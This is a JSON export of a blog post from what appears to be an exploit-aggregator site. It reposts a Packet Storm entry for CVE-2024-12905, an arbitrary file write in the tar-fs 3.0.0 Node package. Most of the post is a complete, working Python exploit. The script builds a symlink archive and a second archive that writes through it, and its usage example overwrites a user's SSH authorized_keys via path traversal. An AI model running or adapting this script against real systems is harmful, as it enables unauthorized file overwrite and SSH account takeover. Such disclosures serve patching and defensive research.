{"id":957,"date":"2025-04-23T06:01:29","date_gmt":"2025-04-23T06:01:29","guid":{"rendered":"http:\/\/localhost\/?p=957"},"modified":"2025-04-23T06:01:29","modified_gmt":"2025-04-23T06:01:29","slug":"tar-fs-300-arbitrary-file-write","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=957","title":{"rendered":"tar-fs 3.0.0 Arbitrary File Write"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">tar-fs 3.0.0 Arbitrary File Write<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">PACKETSTORM:190592<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">packetstorm<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-22T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-22T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">7.5<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:H\/A:N<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2024-12905<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\ntar-fs&#8230;&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n# Exploit Title: tar-fs 3.0.0 &#8211; Arbitrary File Write\/Overwrite<br \/>    # Date: 17th April, 2024<br \/>    # Exploit Author: Ardayfio Samuel Nii Aryee<br \/>    # Software link: https:\/\/github.com\/mafintosh\/tar-fs<br \/>    # Version: tar-fs 3.0.0<br \/>    # Tested on: Ubuntu<br \/>    # CVE: CVE-2024-12905<\/p>\n<p>    # Run the command: Example: python3 exploit.py authorized_keys ..\/..\/..\/..\/..\/..\/..\/..\/home\/user1\/authorized_keys<br \/>    # This will generate two tar file: stage_1.tar and stage_2.tar<br \/>    # Upload stage_1.tar first to unarchive the symlink<br \/>    # Next, upload stage_2.tar to finally write\/overwrite the file on the system<\/p>\n<p>    import os<br \/>    import sys<br \/>    import tarfile<\/p>\n<p>    link_name = &#8220;normal_file&#8221;<\/p>\n<p>    def check_arguments():<br \/>        if len(sys.argv) != 3:<br \/>            print(f&#8221;Usage: {sys.argv[0]} <path_to_file_contents> <path_to_target_file_to_overwrite>\\n\\<br \/>    Example: {sys.argv[0]} authorized_keys ..\/..\/..\/..\/..\/..\/..\/..\/home\/user1\/authorized_keys\\<br \/>            &#8220;)<br \/>            sys.exit()<br \/>        content_file_path = sys.argv[1]<br \/>        target_file_path = sys.argv[2]<\/p>\n<p>        return content_file_path, target_file_path<\/p>\n<p>    def create_symlink(link_name, target_path):<br \/>        os.symlink(target_path, link_name)<br \/>        print(&#8220;[+] Created symlink: {link_name} -> {target_path}&#8221;)<\/p>\n<p>    def archive_files(archive_name, file_path):<br \/>        tar = tarfile.open(archive_name, &#8216;w&#8217;)<br \/>        tar.add(file_path, link_name, recursive=False)<br \/>        tar.close()<br \/>        print(f&#8221;[+] Archived to: {archive_name}&#8221;)<\/p>\n<p>    def main():<br \/>        content_path, target_file = check_arguments()<\/p>\n<p>        stage_1_archive_name = &#8220;stage_1.tar&#8221;<br \/>        stage_2_archive_name = &#8220;stage_2.tar&#8221;<\/p>\n<p>        create_symlink(link_name, target_file)<\/p>\n<p>        archive_files(stage_1_archive_name, link_name)<br \/>        archive_files(stage_2_archive_name, content_path)<\/p>\n<p>    if __name__ == &#8220;__main__&#8221;:<br \/>        main()\n<\/div>\n<p><a href=\"https:\/\/packetstorm.news\/files\/id\/190592\/\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title tar-fs 3.0.0 Arbitrary File Write Exploit ID PACKETSTORM:190592 Type packetstorm Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information CVSS Score 7.5&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-957","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This 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